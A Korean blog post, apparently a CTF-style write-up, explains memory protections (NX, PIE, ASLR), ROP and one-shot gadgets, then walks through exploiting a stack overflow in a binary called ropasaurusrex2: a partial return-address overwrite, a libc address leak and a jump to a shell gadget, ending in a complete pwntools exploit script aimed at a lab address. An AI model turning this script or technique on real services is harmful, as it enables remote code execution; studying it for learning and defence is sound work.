사용되는 도구
checksec
NX PIE 등의 메모리 보호기법 사용 여부를 점검하는 도구이다. 기본적으로 peda에 포함되어있고 따로 설치할 수도 있다.
one_gadget
원샷 가젯 코드를 검색할때 사용되는 도구이다.
# apt-get install ruby
# gem install one_gadget
# one_gatget --version
rop(Return Oriented Programming)
가젯(코드조각)을 찾아서 원하는 기능을 만들어 실행하는 공격기법.
가젯들은 실행된 프로그램의 메모리 상 어딘가에 존재하는 코드 조각이며, 코드조각 + RETN 명령을 통해 코드 실행후 리턴하는 작업을 반복하게 된다. (메모리 보호기법 NX를 우회할 수 있다.)
매직가젯 (oneshot gadget)
별도 아규먼트 없이도 쉘을 실행할 수 있는 코드 조각 공격대상 소프트웨어나 라이브러리에서 획득할 수있다.
# one_gadget ropasaurusrex2
소프트웨어에 가젯이 없는경우 ldd로 로드된 라이브러리를 찾고 그 라이브러리에서 찾을수있음
# ldd ropasaurusrex2
# one_gadget [라이브러리 절대주소]
NX(Non-eXcutable) : 메모리 영역의 어떤 부분에 대해 실행이 불가능 하도록 설정하는 기법이다. 메모리에 대한 명령을 실행하기 전에 NX bit를 검사하고 세팅되어있다면 설정을 위배했기 때문에 프로그램 crash가 발생하여 강제로 종료된다.
text(code) : 코드가 위치하는 영역
data : 초기화된 전역변수, 정적변수가 위치하는 영역
bss : 초기화되지 않은 전역변수, 정적변수가 위치하는 영역
heap : 동적할당된 공간이 위치하는 영역
stack : 지역변수, 파라미터 등 함수호출과 관련된 정보가 위치하는 영역
스택이나 힙 영역에 BOF를 통해서 공격코드를 올리고 실행하는 방식을 방지할 수 있다.
하지만 rop 기법은 text(code)영역의 이미 존재하는 코드를 실행하는것이고, ret 주소는 코드가 아닌 데이터로 처리되기 때문에 변조가 가능하여 NX 기법을 우회할 수 있다.
ezshellcode 파일도 사실은 NX 기법이 적용되어 있지만, main함수를 살펴보면 code가 올라가는 heap 영역에 rwx 권한을 모두 준것을 확인할 수 있다.
3번째 인자인 7이 권한을 의미하며 r(4)w(2)x(1) 을 의미한다.
pcVar2 = (code *)mmap((void *)0x0,0x1000,7,0x21,-1,0);
PIE(Position Independent Executable) : 메모리의 임의 공간에 위치시키는 메모리 보호 기법이다.
랜덤한 베이스주소에 코드상 주소(오프셋)를 더해서 실제 메모리에 올라갈 주소를 만들게 된다.
ASLR : 힙, 스택, 라이브러리위치를 랜덤하게 바꿔주는 메모리 보호기법인데 gdb는 디폴트로 off가 되어있다.
ASLR은 PIE처럼 베이스주소를 변경해주는것이 아닌 완전히 주소를 변경해주는것이다.
set disable-randomization off 명령을 통해 ASLR을 켜줄수있다.
PIE 기법은 ASLR이 켜져있어야 동작한다. 코드영역의 베이스주소가 랜덤한 주소로변경되는것은 PIE 때문이다.
물론 디버깅하는 상황에서는 메모리 주소가 변경되지 않을 수 있지만, 문제는 서버의 프로그램을 조작해서 rop 가젯을 연결시켜야 하기때문에 ASLR과 PIE 모두 고려해야한다.
코드분석
file 명령을 통해 파일정보를 확인해보면 executable 파일이 아닌 shared object로 설정되어 있다. 이것은 PIE라는 기법이 적용되어있어 표기만 shared object로 보이고 똑같은 실행파일이다.
peda의 checksec 명령을 통해 NX, PIE 기법이 설정되어있는걸 확인할 수 있다.
main()
1byte*48 크기의 배열을 선언하고 read 함수로 64byte의 문자열을 전달받는다. -> BOF 발생
이후 사용자가 입력한 인자만큼의 데이터를 표준 출력으로 출력해준뒤(echo와 동일) 함수가 종료된다.
undefined8 main(EVP_PKEY_CTX *param_1){
size_t __n;
char local_38 [48];
init(param_1);
read(0,local_38,0x40);
__n = strlen(local_38);
write(1,local_38,__n);
return 0;
}
PIE기법이 사용되는 환경에서는 gdb의 break point를 절대주소로 걸수없기 때문에 상대주소로 걸어야한다.
(gdb) b *main+87
a 문자열 64개 입력한 경우 48byte 버퍼 배열을 전부 덮어씌운뒤 rbp영역, ret 영역까지 a로 덮어씌워져있다.
a 문자열 63개 입력한 경우 ret영역의 일부를 덮어씌운 뒤 마지막 엔터 문자열이 포함된다.
(gdb) r <<< `python3 -c 'print("a"*63)'`
파이썬으로 문자를 입력해도 0a가 추가로 입력되는건 동일하다
공격
위에서 rop 매직가젯의 주소를 libc.so 파일에서 찾았지만 PIE 기법이 적용된 상황에서는 기준주소에 0x4f2c5라는 상대주소를 더해야 실제 메모리 로드된 주소를 찾을 수 있다.
베이스주소를 찾는 방법
오염되지 않은 리턴주소를 찾는다. 0a 까지 생각해서 a를 55개 입력하면 리턴주소가 오염되지 않는다.
리턴되는 주소는 __libc_start_main+231 주소인것을 확인할 수 있다.
main함수의 write 함수를 통해 출력되는데 깨진문자같아 보이는 부분이 리턴주소이다.
write함수는 널바이트 만나기 전까지를 문자열로 인식하는데 그렇기 때문에 리턴주소가 출력되는것이다.
데이터가 출력된다는것은 nc로 전달되서 받았다는것이고 만약 현재 BOF에 취약한 main 함수를 재실행할 수 있게 된다면 이 주소를 조작해서 베이스주소를 알아낸 뒤 원하는 함수로 리턴할 수 있게 만들 수 있다는 뜻이다.
objdump 명령을 통해 libc.so 파일의 __libc_start_main 함수의 상대주소(0x21ab0)를 알 수 있다.
스택의리턴주소(0x7f0944921b97) - 231(0xE7) - __libc_start_main의상대주소(0x21ab0) = 기준주소(0x7f0944900000)
가 되는것이다.
libc.so 파일 분석
기준주소는 구했으니 main함수를 다시 호출하기 위해 lib.so 파일을 분석한다.
- 파일다운로드
리눅스 시스템
# nc -l -p 1234 < /lib/x86_64-linux-gnu/libc.so.6
윈도우시스템
> nc 192.168.10.10 1234 > libc.so
기드라에 올릴때 옵션에서 이미지베이스(베이스주소)를 0으로 변경해줘야한다.
main함수의 원래 리턴하는 부분이 __libc_start_main+231 위치인데 찾아가보면 mov 명령어 이후에 바로 call exit 명령으로 함수를 종료하는것을 알 수 있다.
리턴주소의 바로 위 명령어(0x00021b95)가 main함수를 호출하는 call 명령어 임을 유추할 수 있게 된다.(콜 이후에 함수 안에서 ret하면 기존코드로 돌아오기때문)
PIE 기법때문에 한번실행시마다 베이스주소가 변경되어 한번 찾은 기준주소를 이용할수가 없다. 하지만 한번의 프로그램 실행에 취약한함수가 다시 실행된다면 첫번째 실행될때 기준주소를 찾은뒤 BOF로 취약한 함수를 재실행할때 BOF를 한번 더 이용해서 원하는 주소로 리턴값을 넣고 원하는 함수(매직가젯)를 실행할 수 있게 될것이다.
메인함수를 두번 실행시키기 위해 __libc_start_main 함수를 재실행 시키는것은 기존에 레지스터나 메모리값이 이미 세팅되어있는데 잘못건들 수 있기 때문에 main함수만 정확히 재실행해야한다.
call RAX 명령어 이전에 mov 명령을 통해 인자값을 전달하는데, 인자값도 재호출할때 같이 전달해야하니 mov 까지 실행시켜준다. (0x00021b7d)
진짜 공격
1. 프로그램 실행 후 메인함수 리턴주소를 변경하여 메인함수를 재실행하도록 세팅
입력 후에 주소가 출력되지만 사실 첫번째 실행에서 기준주소를 찾을 필요가 없는 이유는 리틀엔디안이기 때문에 낮은주소부터 데이터가 저장되기 때문이다.
기준주소가 0x12340000인 경우 현재 리턴값이 0x12345678 이라면 딱 2byte 0xffff만 입력해서 0x1234를 건들지 않고 0x1234ffff 로 변경할 수 있다.
메인함수의 파라미터 입력받는 상대주소는 21b7d, 원래 리턴주소의 상대주소는 21b97로 1byte만 변경하면 되며, 베이스주소가 생긴다 해도 1byte까지 변경되지는 않기 때문에 리턴주소로 7d를 입력하면 된다.
아래 코드에서는 56byte 더미데이터를 입력 후 main 함수의 파라미터 입력받는 주소로 변경한다.
dummy = "a"*56
overwrite = "\x7d"
payload = dummy + overwrite
s.send(payload)
pwntools의 send 함수는 스트링을 byte로 자동 형변환 시켜준뒤 데이터를 전송하는데 pwntools가 아닌 socket함수를 사용한다면 byte형식으로 데이터형식을 준수해야한다.
2. write함수 덕에 출력되는 리턴주소(메인함수 재실행주소)를 가져올 수 있으며 그 주소를 토대로 베이스주소를 구함
s.recvuntil(dummy) 코드는 dummy까지만 recv 하겠다는 의미인데, 데이터가 출력될때 더미데이터 뒤에 ret주소가 붙는 형태로 출력됐기 때문에 dummy까지만 받게되면 받을 데이터에서는 ret주소만 남게된다.
이후 8byte를 추가로 recv해서 저장한다면 리턴주소의 저장은 완료된다.
널바이트까지만 보내기 때문에 사실상 서버는 6byte 보내게 되는데 leakRaw.ljust(8, b'\x00') 로 오지 않은 2byte에 대해 \x00을 채워준다. 이 주소는 현재 정상적인 빅엔디안형태로 저장되어 있고
leak = u64(leakLjust) 로 64bit 리틀엔디안 주소로 패킹한다는 뜻이다. (패킹을 하기 위해서는 8byte를 맞춰줘야한다)
s.recvuntil(dummy)
leakRaw = s.recv(8)
leakLjust = leakRaw.ljust(8,b'\x00')
leak = u64(leakLjust)
print("[leak](raw) "+repr(leakRaw))
print("[leak](ljust) "+repr(leakLjust))
print("[leak](u64) "+repr(leak))
print("[leak](hex) "+repr(hex(leak)))
서버에서 전달해준 주소에서 __lib_start_main 함수의 시작 절대주소를 찾은 뒤 함수의 시작 상대주소까지 빼주면 libc.so 라이브러리의 베이스주소를 찾을 수 있다.
libcbase = leak - 214 - 0x20740
print("[base] "+repr(hex(libcbase)))
3. libc.so의 베이스주소에 매직가젯의 상대주소를 더해서 매직가젯의 절대주소를 구함.
dummy데이터의 encode는 문자열인 dummy를 byte형으로 형변환 해주는것이다. (뒤의 p64로 패킹된 주소는 바이트형식이기 때문)
binsh = libcbase + 0x45216
print("[binsh](hex) "+repr(hex(binsh)))
print("[binsh](p64) "+repr(p64(binsh)))
payloadNew = dummy.encode() + p64(binsh)
print("[payloadNew] "+repr(payloadNew))
4. 두번째 메인함수 호출때 BOF를 통해 리턴주소를 매직가젯의 절대주소로 변경
두번째 메인함수가 리턴되면서 리턴주소가 매직가젯의 절대주소기 때문에 매직가젯이 실행된다.
s.send(payloadNew)
s.interactive()
interactive() 로 python과 서버가 send, recv 함수로 통신하는게 아닌 데이터 송수신 지점을 터미널과 연결을 시켜준다.
실행된걸 확인해보면 서버에서 6byte를 받았을때 little endian으로 저장되어있던 데이터를 전달받았기 때문에 거꾸로 적혀있고, 널바이트를 붙이게 된다.
공격코드
#!/usr/bin/python3
from pwn import *
def main():
s = remote("192.168.100.153", 42323)
dummy = "a"*56
overwrite = "\x16"
payload = dummy + overwrite
s.send(payload)
s.recvuntil(dummy)
leakRaw = s.recv(8)
leakLjust = leakRaw.ljust(8,b'\x00')
leak = u64(leakLjust)
print("[leak](raw) "+repr(leakRaw))
print("[leak](ljust) "+repr(leakLjust))
print("[leak](u64) "+repr(leak))
print("[leak](hex) "+repr(hex(leak)))
libcbase = leak - 214 - 0x20740
print("[base] "+repr(hex(libcbase)))
binsh = libcbase + 0x45216
print("[binsh](hex) "+repr(hex(binsh)))
print("[binsh](p64) "+repr(p64(binsh)))
payloadNew = dummy.encode() + p64(binsh)
print("[payloadNew] "+repr(payloadNew))
s.send(payloadNew)
s.interactive()
if __name__ == "__main__":
main()
'리버싱 > 리눅스' 카테고리의 다른 글
메모리 보호 기법 (0) | 2020.02.09 |
---|---|
심볼 파일? 심볼 테이블? (0) | 2020.02.09 |
문제를 풀기위한 팁 및 도구사용법 모음 (0) | 2020.02.08 |
드림핵 System Exploitation Fundamental (2) : Memory Corruption (0) | 2020.02.05 |
DIMICTF 2019 : ezshellcode (쉘코드) (0) | 2020.02.05 |